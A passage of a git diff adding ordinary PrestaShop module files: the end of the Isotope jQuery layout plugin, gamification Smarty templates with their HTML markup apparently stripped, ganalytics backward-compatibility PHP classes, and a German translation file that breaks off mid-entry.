callbackFn(); + } + + // clear out queue for next time + this.styleQueue = []; + }, + + + resize : function() { + if ( this[ '_' + this.options.layoutMode + 'ResizeChanged' ]() ) { + this.reLayout(); + } + }, + + + reLayout : function( callback ) { + + this[ '_' + this.options.layoutMode + 'Reset' ](); + this.layout( this.$filteredAtoms, callback ); + + }, + + // ====================== Convenience methods ====================== + + // ====================== Adding items ====================== + + // adds a jQuery object of items to a isotope container + addItems : function( $content, callback ) { + var $newAtoms = this._getAtoms( $content ); + // add new atoms to atoms pools + this.$allAtoms = this.$allAtoms.add( $newAtoms ); + + if ( callback ) { + callback( $newAtoms ); + } + }, + + // convienence method for adding elements properly to any layout + // positions items, hides them, then animates them back in <--- very sezzy + insert : function( $content, callback ) { + // position items + this.element.append( $content ); + + var instance = this; + this.addItems( $content, function( $newAtoms ) { + var $newFilteredAtoms = instance._filter( $newAtoms ); + instance._addHideAppended( $newFilteredAtoms ); + instance._sort(); + instance.reLayout(); + instance._revealAppended( $newFilteredAtoms, callback ); + }); + + }, + + // convienence method for working with Infinite Scroll + appended : function( $content, callback ) { + var instance = this; + this.addItems( $content, function( $newAtoms ) { + instance._addHideAppended( $newAtoms ); + instance.layout( $newAtoms ); + instance._revealAppended( $newAtoms, callback ); + }); + }, + + // adds new atoms, then hides them before positioning + _addHideAppended : function( $newAtoms ) { + this.$filteredAtoms = this.$filteredAtoms.add( $newAtoms ); + $newAtoms.addClass('no-transition'); + + this._isInserting = true; + + // apply hidden styles + this.styleQueue.push({ $el: $newAtoms, style: this.options.hiddenStyle }); + }, + + // sets visible style on new atoms + _revealAppended : function( $newAtoms, callback ) { + var instance = this; + // apply visible style after a sec + setTimeout( function() { + // enable animation + $newAtoms.removeClass('no-transition'); + // reveal newly inserted filtered elements + instance.styleQueue.push({ $el: $newAtoms, style: instance.options.visibleStyle }); + instance._isInserting = false; + instance._processStyleQueue( $newAtoms, callback ); + }, 10 ); + }, + + // gathers all atoms + reloadItems : function() { + this.$allAtoms = this._getAtoms( this.element.children() ); + }, + + // removes elements from Isotope widget + remove: function( $content, callback ) { + // remove elements immediately from Isotope instance + this.$allAtoms = this.$allAtoms.not( $content ); + this.$filteredAtoms = this.$filteredAtoms.not( $content ); + // remove() as a callback, for after transition / animation + var instance = this; + var removeContent = function() { + $content.remove(); + if ( callback ) { + callback.call( instance.element ); + } + }; + + if ( $content.filter( ':not(.' + this.options.hiddenClass + ')' ).length ) { + // if any non-hidden content needs to be removed + this.styleQueue.push({ $el: $content, style: this.options.hiddenStyle }); + this._sort(); + this.reLayout( removeContent ); + } else { + // remove it now + removeContent(); + } + + }, + + shuffle : function( callback ) { + this.updateSortData( this.$allAtoms ); + this.options.sortBy = 'random'; + this._sort(); + this.reLayout( callback ); + }, + + // destroys widget, returns elements and container back (close) to original style + destroy : function() { + + var usingTransforms = this.usingTransforms; + var options = this.options; + + this.$allAtoms + .removeClass( options.hiddenClass + ' ' + options.itemClass ) + .each(function(){ + var style = this.style; + style.position = ''; + style.top = ''; + style.left = ''; + style.opacity = ''; + if ( usingTransforms ) { + style[ transformProp ] = ''; + } + }); + + // re-apply saved container styles + var elemStyle = this.element[0].style; + for ( var prop in this.originalStyle ) { + elemStyle[ prop ] = this.originalStyle[ prop ]; + } + + this.element + .unbind('.isotope') + .undelegate( '.' + options.hiddenClass, 'click' ) + .removeClass( options.containerClass ) + .removeData('isotope'); + + $window.unbind('.isotope'); + + }, + + + // ====================== LAYOUTS ====================== + + // calculates number of rows or columns + // requires columnWidth or rowHeight to be set on namespaced object + // i.e. this.masonry.columnWidth = 200 + _getSegments : function( isRows ) { + var namespace = this.options.layoutMode, + measure = isRows ? 'rowHeight' : 'columnWidth', + size = isRows ? 'height' : 'width', + segmentsName = isRows ? 'rows' : 'cols', + containerSize = this.element[ size ](), + segments, + // i.e. options.masonry && options.masonry.columnWidth + segmentSize = this.options[ namespace ] && this.options[ namespace ][ measure ] || + // or use the size of the first item, i.e. outerWidth + this.$filteredAtoms[ 'outer' + capitalize(size) ](true) || + // if there's no items, use size of container + containerSize; + + segments = Math.floor( containerSize / segmentSize ); + segments = Math.max( segments, 1 ); + + // i.e. this.masonry.cols = .... + this[ namespace ][ segmentsName ] = segments; + // i.e. this.masonry.columnWidth = ... + this[ namespace ][ measure ] = segmentSize; + + }, + + _checkIfSegmentsChanged : function( isRows ) { + var namespace = this.options.layoutMode, + segmentsName = isRows ? 'rows' : 'cols', + prevSegments = this[ namespace ][ segmentsName ]; + // update cols/rows + this._getSegments( isRows ); + // return if updated cols/rows is not equal to previous + return ( this[ namespace ][ segmentsName ] !== prevSegments ); + }, + + // ====================== Masonry ====================== + + _masonryReset : function() { + // layout-specific props + this.masonry = {}; + // FIXME shouldn't have to call this again + this._getSegments(); + var i = this.masonry.cols; + this.masonry.colYs = []; + while (i--) { + this.masonry.colYs.push( 0 ); + } + }, + + _masonryLayout : function( $elems ) { + var instance = this, + props = instance.masonry; + $elems.each(function(){ + var $this = $(this), + //how many columns does this brick span + colSpan = Math.ceil( $this.outerWidth(true) / props.columnWidth ); + colSpan = Math.min( colSpan, props.cols ); + + if ( colSpan === 1 ) { + // if brick spans only one column, just like singleMode + instance._masonryPlaceBrick( $this, props.colYs ); + } else { + // brick spans more than one column + // how many different places could this brick fit horizontally + var groupCount = props.cols + 1 - colSpan, + groupY = [], + groupColY, + i; + + // for each group potential horizontal position + for ( i=0; i < groupCount; i++ ) { + // make an array of colY values for that one group + groupColY = props.colYs.slice( i, i+colSpan ); + // and get the max value of the array + groupY[i] = Math.max.apply( Math, groupColY ); + } + + instance._masonryPlaceBrick( $this, groupY ); + } + }); + }, + + // worker method that places brick in the columnSet + // with the the minY + _masonryPlaceBrick : function( $brick, setY ) { + // get the minimum Y value from the columns + var minimumY = Math.min.apply( Math, setY ), + shortCol = 0; + + // Find index of short column, the first from the left + for (var i=0, len = setY.length; i < len; i++) { + if ( setY[i] === minimumY ) { + shortCol = i; + break; + } + } + + // position the brick + var x = this.masonry.columnWidth * shortCol, + y = minimumY; + this._pushPosition( $brick, x, y ); + + // apply setHeight to necessary columns + var setHeight = minimumY + $brick.outerHeight(true), + setSpan = this.masonry.cols + 1 - len; + for ( i=0; i < setSpan; i++ ) { + this.masonry.colYs[ shortCol + i ] = setHeight; + } + + }, + + _masonryGetContainerSize : function() { + var containerHeight = Math.max.apply( Math, this.masonry.colYs ); + return { height: containerHeight }; + }, + + _masonryResizeChanged : function() { + return this._checkIfSegmentsChanged(); + }, + + // ====================== fitRows ====================== + + _fitRowsReset : function() { + this.fitRows = { + x : 0, + y : 0, + height : 0 + }; + }, + + _fitRowsLayout : function( $elems ) { + var instance = this, + containerWidth = this.element.width(), + props = this.fitRows; + + $elems.each( function() { + var $this = $(this), + atomW = $this.outerWidth(true), + atomH = $this.outerHeight(true); + + if ( props.x !== 0 && atomW + props.x > containerWidth ) { + // if this element cannot fit in the current row + props.x = 0; + props.y = props.height; + } + + // position the atom + instance._pushPosition( $this, props.x, props.y ); + + props.height = Math.max( props.y + atomH, props.height ); + props.x += atomW; + + }); + }, + + _fitRowsGetContainerSize : function () { + return { height : this.fitRows.height }; + }, + + _fitRowsResizeChanged : function() { + return true; + }, + + + // ====================== cellsByRow ====================== + + _cellsByRowReset : function() { + this.cellsByRow = { + index : 0 + }; + // get this.cellsByRow.columnWidth + this._getSegments(); + // get this.cellsByRow.rowHeight + this._getSegments(true); + }, + + _cellsByRowLayout : function( $elems ) { + var instance = this, + props = this.cellsByRow; + $elems.each( function(){ + var $this = $(this), + col = props.index % props.cols, + row = Math.floor( props.index / props.cols ), + x = ( col + 0.5 ) * props.columnWidth - $this.outerWidth(true) / 2, + y = ( row + 0.5 ) * props.rowHeight - $this.outerHeight(true) / 2; + instance._pushPosition( $this, x, y ); + props.index ++; + }); + }, + + _cellsByRowGetContainerSize : function() { + return { height : Math.ceil( this.$filteredAtoms.length / this.cellsByRow.cols ) * this.cellsByRow.rowHeight + this.offset.top }; + }, + + _cellsByRowResizeChanged : function() { + return this._checkIfSegmentsChanged(); + }, + + + // ====================== straightDown ====================== + + _straightDownReset : function() { + this.straightDown = { + y : 0 + }; + }, + + _straightDownLayout : function( $elems ) { + var instance = this; + $elems.each( function( i ){ + var $this = $(this); + instance._pushPosition( $this, 0, instance.straightDown.y ); + instance.straightDown.y += $this.outerHeight(true); + }); + }, + + _straightDownGetContainerSize : function() { + return { height : this.straightDown.y }; + }, + + _straightDownResizeChanged : function() { + return true; + }, + + + // ====================== masonryHorizontal ====================== + + _masonryHorizontalReset : function() { + // layout-specific props + this.masonryHorizontal = {}; + // FIXME shouldn't have to call this again + this._getSegments( true ); + var i = this.masonryHorizontal.rows; + this.masonryHorizontal.rowXs = []; + while (i--) { + this.masonryHorizontal.rowXs.push( 0 ); + } + }, + + _masonryHorizontalLayout : function( $elems ) { + var instance = this, + props = instance.masonryHorizontal; + $elems.each(function(){ + var $this = $(this), + //how many rows does this brick span + rowSpan = Math.ceil( $this.outerHeight(true) / props.rowHeight ); + rowSpan = Math.min( rowSpan, props.rows ); + + if ( rowSpan === 1 ) { + // if brick spans only one column, just like singleMode + instance._masonryHorizontalPlaceBrick( $this, props.rowXs ); + } else { + // brick spans more than one row + // how many different places could this brick fit horizontally + var groupCount = props.rows + 1 - rowSpan, + groupX = [], + groupRowX, i; + + // for each group potential horizontal position + for ( i=0; i < groupCount; i++ ) { + // make an array of colY values for that one group + groupRowX = props.rowXs.slice( i, i+rowSpan ); + // and get the max value of the array + groupX[i] = Math.max.apply( Math, groupRowX ); + } + + instance._masonryHorizontalPlaceBrick( $this, groupX ); + } + }); + }, + + _masonryHorizontalPlaceBrick : function( $brick, setX ) { + // get the minimum Y value from the columns + var minimumX = Math.min.apply( Math, setX ), + smallRow = 0; + // Find index of smallest row, the first from the top + for (var i=0, len = setX.length; i < len; i++) { + if ( setX[i] === minimumX ) { + smallRow = i; + break; + } + } + + // position the brick + var x = minimumX, + y = this.masonryHorizontal.rowHeight * smallRow; + this._pushPosition( $brick, x, y ); + + // apply setHeight to necessary columns + var setWidth = minimumX + $brick.outerWidth(true), + setSpan = this.masonryHorizontal.rows + 1 - len; + for ( i=0; i < setSpan; i++ ) { + this.masonryHorizontal.rowXs[ smallRow + i ] = setWidth; + } + }, + + _masonryHorizontalGetContainerSize : function() { + var containerWidth = Math.max.apply( Math, this.masonryHorizontal.rowXs ); + return { width: containerWidth }; + }, + + _masonryHorizontalResizeChanged : function() { + return this._checkIfSegmentsChanged(true); + }, + + + // ====================== fitColumns ====================== + + _fitColumnsReset : function() { + this.fitColumns = { + x : 0, + y : 0, + width : 0 + }; + }, + + _fitColumnsLayout : function( $elems ) { + var instance = this, + containerHeight = this.element.height(), + props = this.fitColumns; + $elems.each( function() { + var $this = $(this), + atomW = $this.outerWidth(true), + atomH = $this.outerHeight(true); + + if ( props.y !== 0 && atomH + props.y > containerHeight ) { + // if this element cannot fit in the current column + props.x = props.width; + props.y = 0; + } + + // position the atom + instance._pushPosition( $this, props.x, props.y ); + + props.width = Math.max( props.x + atomW, props.width ); + props.y += atomH; + + }); + }, + + _fitColumnsGetContainerSize : function () { + return { width : this.fitColumns.width }; + }, + + _fitColumnsResizeChanged : function() { + return true; + }, + + + + // ====================== cellsByColumn ====================== + + _cellsByColumnReset : function() { + this.cellsByColumn = { + index : 0 + }; + // get this.cellsByColumn.columnWidth + this._getSegments(); + // get this.cellsByColumn.rowHeight + this._getSegments(true); + }, + + _cellsByColumnLayout : function( $elems ) { + var instance = this, + props = this.cellsByColumn; + $elems.each( function(){ + var $this = $(this), + col = Math.floor( props.index / props.rows ), + row = props.index % props.rows, + x = ( col + 0.5 ) * props.columnWidth - $this.outerWidth(true) / 2, + y = ( row + 0.5 ) * props.rowHeight - $this.outerHeight(true) / 2; + instance._pushPosition( $this, x, y ); + props.index ++; + }); + }, + + _cellsByColumnGetContainerSize : function() { + return { width : Math.ceil( this.$filteredAtoms.length / this.cellsByColumn.rows ) * this.cellsByColumn.columnWidth }; + }, + + _cellsByColumnResizeChanged : function() { + return this._checkIfSegmentsChanged(true); + }, + + // ====================== straightAcross ====================== + + _straightAcrossReset : function() { + this.straightAcross = { + x : 0 + }; + }, + + _straightAcrossLayout : function( $elems ) { + var instance = this; + $elems.each( function( i ){ + var $this = $(this); + instance._pushPosition( $this, instance.straightAcross.x, 0 ); + instance.straightAcross.x += $this.outerWidth(true); + }); + }, + + _straightAcrossGetContainerSize : function() { + return { width : this.straightAcross.x }; + }, + + _straightAcrossResizeChanged : function() { + return true; + } + + }; + + + // ======================= imagesLoaded Plugin =============================== + /*! + * jQuery imagesLoaded plugin v1.1.0 + * http://github.com/desandro/imagesloaded + * + * MIT License. by Paul Irish et al. + */ + + + // $('#my-container').imagesLoaded(myFunction) + // or + // $('img').imagesLoaded(myFunction) + + // execute a callback when all images have loaded. + // needed because .load() doesn't work on cached images + + // callback function gets image collection as argument + // `this` is the container + + $.fn.imagesLoaded = function( callback ) { + var $this = this, + $images = $this.find('img').add( $this.filter('img') ), + len = $images.length, + blank = 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==', + loaded = []; + + function triggerCallback() { + callback.call( $this, $images ); + } + + function imgLoaded( event ) { + var img = event.target; + if ( img.src !== blank && $.inArray( img, loaded ) === -1 ){ + loaded.push( img ); + if ( --len <= 0 ){ + setTimeout( triggerCallback ); + $images.unbind( '.imagesLoaded', imgLoaded ); + } + } + } + + // if no images, trigger immediately + if ( !len ) { + triggerCallback(); + } + + $images.bind( 'load.imagesLoaded error.imagesLoaded', imgLoaded ).each( function() { + // cached images don't fire load sometimes, so we reset src. + var src = this.src; + // webkit hack from http://groups.google.com/group/jquery-dev/browse_thread/thread/eee6ab7b2da50e1f + // data uri bypasses webkit log warning (thx doug jones) + this.src = blank; + this.src = src; + }); + + return $this; + }; + + + // helper function for logging errors + // $.error breaks jQuery chaining + var logError = function( message ) { + if ( window.console ) { + window.console.error( message ); + } + }; + + // ======================= Plugin bridge =============================== + // leverages data method to either create or return $.Isotope constructor + // A bit from jQuery UI + // https://github.com/jquery/jquery-ui/blob/master/ui/jquery.ui.widget.js + // A bit from jcarousel + // https://github.com/jsor/jcarousel/blob/master/lib/jquery.jcarousel.js + + $.fn.isotope = function( options, callback ) { + if ( typeof options === 'string' ) { + // call method + var args = Array.prototype.slice.call( arguments, 1 ); + + this.each(function(){ + var instance = $.data( this, 'isotope' ); + if ( !instance ) { + logError( "cannot call methods on isotope prior to initialization; " + + "attempted to call method '" + options + "'" ); + return; + } + if ( !$.isFunction( instance[options] ) || options.charAt(0) === "_" ) { + logError( "no such method '" + options + "' for isotope instance" ); + return; + } + // apply method + instance[ options ].apply( instance, args ); + }); + } else { + this.each(function() { + var instance = $.data( this, 'isotope' ); + if ( instance ) { + // apply options & init + instance.option( options ); + instance._init( callback ); + } else { + // initialize new instance + $.data( this, 'isotope', new $.Isotope( options, this, callback ) ); + } + }); + } + // return jQuery object + // so plugin methods do not have to + return this; + }; + +})( window, jQuery ); \ No newline at end of file diff --git a/modules/gamification/views/templates/admin/gamification/helpers/view/filters.tpl b/modules/gamification/views/templates/admin/gamification/helpers/view/filters.tpl new file mode 100755 index 0000000..ac4bbc8 --- /dev/null +++ b/modules/gamification/views/templates/admin/gamification/helpers/view/filters.tpl @@ -0,0 +1,33 @@ +
          +{if $type == 'badges_feature' || $type == 'badges_achievement'} +
          {l s="Type:" mod='gamification'} + +
          +{/if} +
          {l s="State:" mod='gamification'} + +
          + +{if $type == 'badges_feature' || $type == 'badges_achievement'} +
          {l s="Level:" mod='gamification'} + +
          +{/if} +
          +
          + + diff --git a/modules/gamification/views/templates/admin/gamification/helpers/view/view.tpl b/modules/gamification/views/templates/admin/gamification/helpers/view/view.tpl new file mode 100755 index 0000000..2545157 --- /dev/null +++ b/modules/gamification/views/templates/admin/gamification/helpers/view/view.tpl @@ -0,0 +1,96 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
          + +
          +

          {l s='Completion level' mod='gamification'}

          +
          + {l s="Level" mod='gamification' mod='gamification'} {$current_level|intval} : {$current_level_percent|intval} % +
          +
          +

          + +{foreach from=$badges_type key=key item=type} +
          + {$type.name|escape:html:'UTF-8'} {$type.name|escape:html:'UTF-8'} + {include file='./filters.tpl' type=$key} +
            + {foreach from=$type.badges item=badge} +
          • +
            +
            {$badge->name|escape:html:'UTF-8'}
            + +
          • + {foreachelse} +
            {l s="No badge in this section" mod='gamification'}
            + {/foreach} +
          + +
          +

          +{/foreach} diff --git a/modules/gamification/views/templates/hook/notification.tpl b/modules/gamification/views/templates/hook/notification.tpl new file mode 100755 index 0000000..ec944e4 --- /dev/null +++ b/modules/gamification/views/templates/hook/notification.tpl @@ -0,0 +1,39 @@ + +
          + {if $notification} + + {$notification|intval} + + {/if} +
          +
          +

          {l s='Your Merchant Expertise'}

          +
          +
          {l s='Level'} {$current_level|intval} : {$current_level_percent|intval} %
          +
          +
            + {foreach from=$badges_to_display name=badge_list item=badge} + {if $badge->id} +
          • + +
            {if $badge->validated} {l s='Last badge :'} {else} {l s='Next badge :'} {/if}
            +
            +
            {$badge->name|escape:html:'UTF-8'}
            +
          • + {else} +
          • + {/if} + {if $smarty.foreach.badge_list.iteration is not odd && $badges_to_display|count > 2} +
             
            + {/if} + {/foreach} +
          +
          + {l s='View my complete profile'} +
          +
          diff --git a/modules/ganalytics/backward_compatibility/Context.php b/modules/ganalytics/backward_compatibility/Context.php new file mode 100755 index 0000000..5f1f360 --- /dev/null +++ b/modules/ganalytics/backward_compatibility/Context.php @@ -0,0 +1,347 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + require_once(_PS_MODULE_DIR_ . '/mobile_theme/Mobile_Detect.php'); + +// Retro 1.3, 'class_exists' cause problem with autoload... +if (version_compare(_PS_VERSION_, '1.4', '<')) +{ + // Not exist for 1.3 + class Shop extends ObjectModel + { + public $id = 1; + public $id_shop_group = 1; + + public function __construct() + { + } + + + public static function getShops() + { + return array( + array('id_shop' => 1, 'name' => 'Default shop') + ); + } + + public static function getCurrentShop() + { + return 1; + } + } + + class Logger + { + public static function AddLog($message, $severity = 2) + { + $fp = fopen(dirname(__FILE__).'/../logs.txt', 'a+'); + fwrite($fp, '['.(int)$severity.'] '.Tools::safeOutput($message)); + fclose($fp); + } + } + +} + +// Not exist for 1.3 and 1.4 +class Context +{ + /** + * @var Context + */ + protected static $instance; + + /** + * @var Cart + */ + public $cart; + + /** + * @var Customer + */ + public $customer; + + /** + * @var Cookie + */ + public $cookie; + + /** + * @var Link + */ + public $link; + + /** + * @var Country + */ + public $country; + + /** + * @var Employee + */ + public $employee; + + /** + * @var Controller + */ + public $controller; + + /** + * @var Language + */ + public $language; + + /** + * @var Currency + */ + public $currency; + + /** + * @var AdminTab + */ + public $tab; + + /** + * @var Shop + */ + public $shop; + + /** + * @var Smarty + */ + public $smarty; + + /** + * @ var Mobile Detect + */ + public $mobile_detect; + + /** + * @var boolean|string mobile device of the customer + */ + protected $mobile_device; + + public function __construct() + { + global $cookie, $cart, $smarty, $link; + + $this->tab = null; + + $this->cookie = $cookie; + $this->cart = $cart; + $this->smarty = $smarty; + $this->link = $link; + + $this->controller = new ControllerBackwardModule(); + if (is_object($cookie)) + { + $this->currency = new Currency((int)$cookie->id_currency); + $this->language = new Language((int)$cookie->id_lang); + $this->country = new Country((int)$cookie->id_country); + $this->customer = new CustomerBackwardModule((int)$cookie->id_customer); + $this->employee = new Employee((int)$cookie->id_employee); + } + else + { + $this->currency = null; + $this->language = null; + $this->country = null; + $this->customer = null; + $this->employee = null; + } + + $this->shop = new ShopBackwardModule(); + + if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + $this->mobile_detect = new Mobile_Detect(); + } + + public function getMobileDevice() + { + if (is_null($this->mobile_device)) + { + $this->mobile_device = false; + if ($this->checkMobileContext()) + { + switch ((int)Configuration::get('PS_MOBILE_DEVICE')) + { + case 0: // Only for mobile device + if ($this->mobile_detect->isMobile() && !$this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + case 1: // Only for touchpads + if ($this->mobile_detect->isTablet() && !$this->mobile_detect->isMobile()) + $this->mobile_device = true; + break; + case 2: // For touchpad or mobile devices + if ($this->mobile_detect->isMobile() || $this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + } + } + } + + return $this->mobile_device; + } + + protected function checkMobileContext() + { + return isset($_SERVER['HTTP_USER_AGENT']) + && (bool)Configuration::get('PS_MOBILE_DEVICE') + && !Context::getContext()->cookie->no_mobile; + } + + /** + * Get a singleton context + * + * @return Context + */ + public static function getContext() + { + if (!isset(self::$instance)) + self::$instance = new Context(); + return self::$instance; + } + + /** + * Clone current context + * + * @return Context + */ + public function cloneContext() + { + return clone($this); + } + + /** + * @return int Shop context type (Shop::CONTEXT_ALL, etc.) + */ + public static function shop() + { + if (!self::$instance->shop->getContextType()) + return ShopBackwardModule::CONTEXT_ALL; + return self::$instance->shop->getContextType(); + } +} + +/** + * Class Shop for Backward compatibility + */ +class ShopBackwardModule extends Shop +{ + const CONTEXT_ALL = 1; + + public $id = 1; + public $id_shop_group = 1; + + + public function getContextType() + { + return ShopBackwardModule::CONTEXT_ALL; + } + + // Simulate shop for 1.3 / 1.4 + public function getID() + { + return 1; + } + + /** + * Get shop theme name + * + * @return string + */ + public function getTheme() + { + return _THEME_NAME_; + } + + public function isFeatureActive() + { + return false; + } +} + +/** + * Class Controller for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class ControllerBackwardModule +{ + /** + * @param $js_uri + * @return void + */ + public function addJS($js_uri) + { + Tools::addJS($js_uri); + } + + /** + * @param $css_uri + * @param string $css_media_type + * @return void + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + Tools::addCSS($css_uri, $css_media_type); + } + + public function addJquery() + { + if (_PS_VERSION_ < '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.4.4.min.js'); + elseif (_PS_VERSION_ >= '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.7.2.min.js'); + } + +} + +/** + * Class Customer for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class CustomerBackwardModule extends Customer +{ + public $logged = false; + /** + * Check customer informations and return customer validity + * + * @since 1.5.0 + * @param boolean $with_guest + * @return boolean customer validity + */ + public function isLogged($with_guest = false) + { + if (!$with_guest && $this->is_guest == 1) + return false; + + /* Customer is valid only if it can be load and if object password is the same as database one */ + if ($this->logged == 1 && $this->id && Validate::isUnsignedId($this->id) && Customer::checkPassword($this->id, $this->passwd)) + return true; + return false; + } +} diff --git a/modules/ganalytics/backward_compatibility/Display.php b/modules/ganalytics/backward_compatibility/Display.php new file mode 100755 index 0000000..309e857 --- /dev/null +++ b/modules/ganalytics/backward_compatibility/Display.php @@ -0,0 +1,48 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Class allow to display tpl on the FO + */ +class BWDisplay extends FrontController +{ + // Assign template, on 1.4 create it else assign for 1.5 + public function setTemplate($template) + { + if (_PS_VERSION_ >= '1.5') + parent::setTemplate($template); + else + $this->template = $template; + } + + // Overload displayContent for 1.4 + public function displayContent() + { + parent::displayContent(); + + echo Context::getContext()->smarty->fetch($this->template); + } +} diff --git a/modules/ganalytics/backward_compatibility/backward.ini b/modules/ganalytics/backward_compatibility/backward.ini new file mode 100755 index 0000000..6520fb7 --- /dev/null +++ b/modules/ganalytics/backward_compatibility/backward.ini @@ -0,0 +1 @@ +version = 0.4 \ No newline at end of file diff --git a/modules/ganalytics/backward_compatibility/backward.php b/modules/ganalytics/backward_compatibility/backward.php new file mode 100755 index 0000000..21f9eb4 --- /dev/null +++ b/modules/ganalytics/backward_compatibility/backward.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Backward function compatibility + * Need to be called for each module in 1.4 + */ + +// Get out if the context is already defined +if (!in_array('Context', get_declared_classes())) + require_once(dirname(__FILE__).'/Context.php'); + +// Get out if the Display (BWDisplay to avoid any conflict)) is already defined +if (!in_array('BWDisplay', get_declared_classes())) + require_once(dirname(__FILE__).'/Display.php'); + +// If not under an object we don't have to set the context +if (!isset($this)) + return; +else if (isset($this->context)) +{ + // If we are under an 1.5 version and backoffice, we have to set some backward variable + if (_PS_VERSION_ >= '1.5' && isset($this->context->employee->id) && $this->context->employee->id && isset(AdminController::$currentIndex) && !empty(AdminController::$currentIndex)) + { + global $currentIndex; + $currentIndex = AdminController::$currentIndex; + } + return; +} + +$this->context = Context::getContext(); +$this->smarty = $this->context->smarty; diff --git a/modules/ganalytics/backward_compatibility/index.php b/modules/ganalytics/backward_compatibility/index.php new file mode 100755 index 0000000..b856f56 --- /dev/null +++ b/modules/ganalytics/backward_compatibility/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/ganalytics/de.php b/modules/ganalytics/de.php new file mode 100755 index 0000000..c53f073 --- /dev/null +++ b/modules/ganalytics/de.php @@ -0,0 +1,49 @@ +ganalytics_7510f8b22dd3e10476096425f78d4239'] = 'Sie haben Ihre Google Analytics-ID noch nicht eingestellt'; +$_MODULE['<{ganalytics}prestashop>ganalytics_aba1a7971f85c725ba4aed21343eeb4b'] = 'Integrieren Sie das Google Analytics-Skript in Ihren Shop'; +$_MODULE['<{ganalytics}prestashop>ganalytics_fa214007826415a21a8456e3e09f999d'] = 'Sie sind sicher, dass Sie Ihre Daten löschen wollen?'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c888438d14855d7d96a2724ee9c306bd'] = 'Einstellungen aktualisiert'; +$_MODULE['<{ganalytics}prestashop>ganalytics_f4f70727dc34561dfde1a3c529b6205c'] = 'Einstellungen'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d7c9ce3337a28d63ce6626d90fdaedaa'] = 'Ihr Benutzername'; +$_MODULE['<{ganalytics}prestashop>ganalytics_81eeab9506186e2dca8faefa78d54067'] = 'Beispiel:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a3e7f361e6fc12caf872119338642143'] = ' ID aktualisieren'; +$_MODULE['<{ganalytics}prestashop>ganalytics_6a26f548831e6a8c26bfbbd9f6ec61e0'] = 'Hilfe'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d78b0fcff6b55bafe615f3fc1572c282'] = 'Der erste Schritt zum Erfassen von E-Commerce-Transaktionen ist, E-Commerce-Berichte für das Profil Ihrer Website zu aktivieren.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d02388589ecfd3b58e0a90e42127ca61'] = 'Bitte folgen Sie diesen Schritten, um die E-Commerce-Bereichte zu aktivieren:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_11f4b4ba23dc72ee5e86ff5a90bdde60'] = 'Melden Sie sich bei Ihrem Konto an'; +$_MODULE['<{ganalytics}prestashop>ganalytics_b452493b16ead8b4b25ab3fb7174b8f5'] = 'Klicken Sie auf Bearbeiten neben dem Profil, das Sie aktivieren möchten'; +$_MODULE['<{ganalytics}prestashop>ganalytics_95df6d8c97e880d8f6895d824d72c353'] = 'Klicken Sie auf der Seite Profileinstellungen auf Bearbeiten neben der Hauptwebseiten-Profilinformation'; +$_MODULE['<{ganalytics}prestashop>ganalytics_5189c0be0481408c9301c377818e69dc'] = 'Drehen Sie den Radioknopf der E-Commerce-Webseite von Nein auf Ja'; +$_MODULE['<{ganalytics}prestashop>ganalytics_98d12a01ab2aeeb10b7100eecf1974a8'] = 'Geben Sie Ihre Ziel-Informationen ein, um Ihre Ziele einzustellen:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a44698a775d2fec04549ba6a2ac00491'] = 'Zurück zu Ihrer persönlichen Startseite'; +$_MODULE['<{ganalytics}prestashop>ganalytics_dbec126ee3be2cd285a32a8d413fd1fa'] = 'Suchen Sie das Profil, für das Sie ein Ziel erstellen möchten, klicken Sie dann auf Bearbeiten'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c4af40d39b97cf98040540639841e27a'] = 'Wählen Sie eine der 4 verfügbaren Zielpositionen für dieses 